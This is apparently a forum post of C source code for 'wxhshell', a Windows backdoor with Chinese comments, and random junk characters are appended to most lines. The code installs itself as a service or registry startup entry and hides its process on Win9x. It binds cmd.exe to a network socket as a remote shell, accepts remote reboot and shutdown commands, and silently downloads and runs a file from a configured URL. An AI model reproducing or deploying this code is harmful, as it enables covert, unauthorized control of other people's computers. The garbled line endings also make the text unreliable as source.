  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |FcG$[  
  } iD]!PaFD`  
  else { 1/{:}9Z@  
2HTZ, W  
    switch(cmd[0]) { B;-oa;m:E=  
  '<Vvv^Er  
  // 帮助 ("TI~  
  case '?': { |FNP~5v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;N j5NB7  
    break; 2+^#<Uok  
  } &=/.$i-w$  
  // 安装 5(F!* 6i>  
  case 'i': { ?(|!VLu  
    if(Install()) z^oi15D|{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .CYq+^  
    else F(w>lWs;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4s"HO/  
    break; O-G@To3\  
    } F0|T%!FB>%  
  // 卸载 'WOW m$2  
  case 'r': { c^=:]^  
    if(Uninstall()) 1XZ&X]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -p)HH@6a  
    else =uvv|@Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ! [:K/  
    break;  /!9949XV  
    } t=pG6U  
  // 显示 wxhshell 所在路径 @&~BGh  
  case 'p': { d5i /:  
    char svExeFile[MAX_PATH]; tL3(( W"  
    strcpy(svExeFile,"\n\r"); U "}Kth  
      strcat(svExeFile,ExeFile); Z2`e*c-[E  
        send(wsh,svExeFile,strlen(svExeFile),0); MJD4#G  
    break; JRNyvG>j  
    } 0\mM^+fO  
  // 重启 SZ0Zi\W  
  case 'b': { 5I<?HsK@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F>}).qx  
    if(Boot(REBOOT)) O+e8}Tmm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ 0CGS  
    else { `\qU.m0(j  
    closesocket(wsh); ?ph"|LyL  
    ExitThread(0); MKH7d/x  
    } '1mygplW  
    break; HL)1{[|`  
    } EU\1EBT^  
  // 关机 F{}z[0  
  case 'd': { sn *s7v:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :l 7\7IT  
    if(Boot(SHUTDOWN)) 0? l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fq{nc]L6  
    else { jK{CjfCNz  
    closesocket(wsh); PEBQ|k8g&  
    ExitThread(0); R<wb8iir  
    } 57oY]NT?  
    break; a$KM q>  
    } ^*0;Z<_  
  // 获取shell =B/^c>w2  
  case 's': { (V+(\<M  
    CmdShell(wsh); w S;(u[W  
    closesocket(wsh); |{_%YM($  
    ExitThread(0); 5]F9o9]T  
    break; crmnh4-  
  } S^n:O  
  // 退出 wF&\@H  
  case 'x': { z1"UF4x*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8C YJR/  
    CloseIt(wsh); 4o|~KX8Qz  
    break; L@+j8[3BX  
    } n =v %}@f2  
  // 离开 ?+TD2~rD(  
  case 'q': { u&g} !Smc8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YV2^eGr.  
    closesocket(wsh); 3NJ-.c@(p  
    WSACleanup(); ``O\'{o&  
    exit(1); m4%m0"Z  
    break; vWgh?h/ot  
        } R `'@$"  
  } Rc6Rk!^  
  } D@3|nS  
U?}Maf  
  // 提示信息 lF#Kg !-l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f.u{;W  
} ,%:`Ll t]$  
  } -Pvt+I>  
{=(4  
  return; A,iXiDb3pK  
} qItI):9U  
%tu{`PN<  
// shell模块句柄 w%$n)7<*  
int CmdShell(SOCKET sock) 0lBl5k e  
{ sG}9l1  
STARTUPINFO si; O_:Q#  
ZeroMemory(&si,sizeof(si)); 3 C[ ;2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $iB(N ZV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q&wMp{  
PROCESS_INFORMATION ProcessInfo; 5jV]{ZV#  
char cmdline[]="cmd"; T xN5K`q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (+ >n/I6  
  return 0; 3b_#xr-  
} ]>:>":<:  
LZ@^ A]U  
// 自身启动模式 jrW7AT)\  
int StartFromService(void) x,V_P/?%  
{ tF;aB*  
typedef struct 4$;fj1!Z:  
{ F )tNA?p)  
  DWORD ExitStatus;  ,cB`j7p(  
  DWORD PebBaseAddress; n^A=ar.  
  DWORD AffinityMask; AfY(+w6!K  
  DWORD BasePriority; PJ_|=bn  
  ULONG UniqueProcessId; rXaL1`t*  
  ULONG InheritedFromUniqueProcessId; P_Z o}.{  
}   PROCESS_BASIC_INFORMATION; h(zi$V  
1"e=Zqn$)  
PROCNTQSIP NtQueryInformationProcess; ~7=,)Q  
00Rk%QV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o]FQ)WRB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'z\F-Ttq  
Zdak))7  
  HANDLE             hProcess; d#W[<,  
  PROCESS_BASIC_INFORMATION pbi; !P;qc  
6z(_^CY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5-g02g  
  if(NULL == hInst ) return 0; `ybZE+S.  
iUO5hdOM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l%)XPb2$J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cbIW>IbM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E>[~"~x"pV  
~C[,P\,  
  if (!NtQueryInformationProcess) return 0; _,'UP>Si  
l==T3u r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IEA[]eik>  
  if(!hProcess) return 0; h0gT/x  
Z86[sQBg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g5?Fo%W  
u|Ai<2b$  
  CloseHandle(hProcess); }%}eyLm(  
MRa>@Jn??A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x 1 _(j  
if(hProcess==NULL) return 0;  Wi|.Z/  
b!N`@m=  
HMODULE hMod; 6yR7RF}  
char procName[255]; R:fu n ,  
unsigned long cbNeeded; )Qo6bei!  
QR#,n@fE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (kSk bwu  
EUNG&U  
  CloseHandle(hProcess); k4|YaGhf  
m:H )b{  
if(strstr(procName,"services")) return 1; // 以服务启动 (2{1m#o  
>!wwXhH(  
  return 0; // 注册表启动 $L&*0$[]Q  
} [m"X*Z F  
.c',?[S/vH  
// 主模块 ePF9Vzq  
int StartWxhshell(LPSTR lpCmdLine) f"-?%I*'  
{ b1^MX).vH  
  SOCKET wsl; <k)rfv7  
BOOL val=TRUE; "#OmmU<U  
  int port=0; ]l\J"*"aB  
  struct sockaddr_in door; 4]g^aaQFd>  
vz _U  
  if(wscfg.ws_autoins) Install(); t EN%mK  
Gh< r_O~L3  
port=atoi(lpCmdLine); oo qNPLa  
LPXwfEHOm  
if(port<=0) port=wscfg.ws_port; f&,.h"bS  
Z2ZS5a  
  WSADATA data; 8<o(z'&y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *L!R4;ubE  
$`riB$v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^ yfT7050  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ](O!6_'d  
  door.sin_family = AF_INET; D4S>Pkv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %++q+pa  
  door.sin_port = htons(port); ;TR.UUT  
@U9ov >E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m/{rmtA4  
closesocket(wsl); w,P2_xk`  
return 1; :8rqTBa`  
} /!LfEO  
>Qi2;t~G  
  if(listen(wsl,2) == INVALID_SOCKET) { N_T;&wibO  
closesocket(wsl); Z$@Juv&>5^  
return 1; @hCGV'4  
} M^bujGD  
  Wxhshell(wsl); +XQS -=  
  WSACleanup(); J"z8olV  
1M+mH#?  
return 0; ^,rbA>/L  
m!PN1$9V  
} @Pa ;h  
5bAy@n  
// 以NT服务方式启动 !W6]+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [#.QDe  
{ .NPai4V'  
DWORD   status = 0; m*(8I=]q  
  DWORD   specificError = 0xfffffff; ed617J  
]v+\v re  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -Z#A}h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  :${Lm&J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8L&#<Ol  
  serviceStatus.dwWin32ExitCode     = 0; X2EC+<  
  serviceStatus.dwServiceSpecificExitCode = 0; &< ~`?-c  
  serviceStatus.dwCheckPoint       = 0; jfI|( P  
  serviceStatus.dwWaitHint       = 0; toP7b  
zIlQqyOQ8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0R; ;ou  
  if (hServiceStatusHandle==0) return; \Q & Kd|  
2AdV=n6Z  
status = GetLastError(); gXF.e.uU  
  if (status!=NO_ERROR) P ^D\znvc  
{ No h*1u*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yDHH05Yl  
    serviceStatus.dwCheckPoint       = 0; p( z.[  
    serviceStatus.dwWaitHint       = 0; [rf.P'p%  
    serviceStatus.dwWin32ExitCode     = status; {>syZZ,h  
    serviceStatus.dwServiceSpecificExitCode = specificError; HtXzMSGo7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $cYh X^YG.  
    return; :V >Z|?[*H  
  } Q.!D2RZc  
f>Ij:b`Z2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X)'uTf0  
  serviceStatus.dwCheckPoint       = 0; C7nLa@  
  serviceStatus.dwWaitHint       = 0; i5rAb<q`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g4U%(3,>D  
} zHyM@*Gf(  
[t>}M6?R:  
// 处理NT服务事件,比如:启动、停止 4Sw)IU~K(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ['{mW4i  
{ 0Pbv7)=XL  
switch(fdwControl) 6)Kg!.n%f  
{ _57i[U r  
case SERVICE_CONTROL_STOP: }2G'3msx  
  serviceStatus.dwWin32ExitCode = 0; x|1OGbBK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g#:?Ay-m  
  serviceStatus.dwCheckPoint   = 0; ':J[KWuV  
  serviceStatus.dwWaitHint     = 0; V+DN<F-  
  { $My%7S/3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sN;xHTY  
  } \QQw1c+  
  return; h19c*,0z!  
case SERVICE_CONTROL_PAUSE: N5o jXX!l%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0<fN<iR`  
  break; meE&, {  
case SERVICE_CONTROL_CONTINUE: 3!#d&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6=iz@C7r  
  break; f7\$rx  
case SERVICE_CONTROL_INTERROGATE: JZ9w!)U  
  break; <&Y7Q[  
}; 7RDfhKdb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4s%vx]E  
} r 5:DIA!  
/wKL"M-%  
// 标准应用程序主函数  \&"gCv#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U+URj <)  
{ 6> X7JMRY  
:<!a.%=  
// 获取操作系统版本 ZI}7#K<9X  
OsIsNt=GetOsVer(); eqg|bc[i!t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &KT*rL  
,d$V-~2,  
  // 从命令行安装 F0qGkMs|f  
  if(strpbrk(lpCmdLine,"iI")) Install(); r 1nl!  
[a`89'"z  
  // 下载执行文件 >6KuZ_  
if(wscfg.ws_downexe) { 7gNJ}pLDx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Nxp 7/Nn3  
  WinExec(wscfg.ws_filenam,SW_HIDE); xZwG@+U=X  
} o^}K]ML!t  
:!n_a*.{  
if(!OsIsNt) { 1=}+NK!  
// 如果时win9x,隐藏进程并且设置为注册表启动 9aHV~5  
HideProc(); g Q6_]~4  
StartWxhshell(lpCmdLine); V+(1U|@~  
} !0i  
else  $TGE  
  if(StartFromService()) <Y9%oJn%  
  // 以服务方式启动 A_i=hj 2f  
  StartServiceCtrlDispatcher(DispatchTable); 9rf6,hF  
else 'H0uvvhOp  
  // 普通方式启动 k+t?EZ6L  
  StartWxhshell(lpCmdLine); j KGfm9|zj  
~+ Mp+gE  
return 0; -XRn%4EX?  
}
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只看该作者 1 发表于: 2006-10-10
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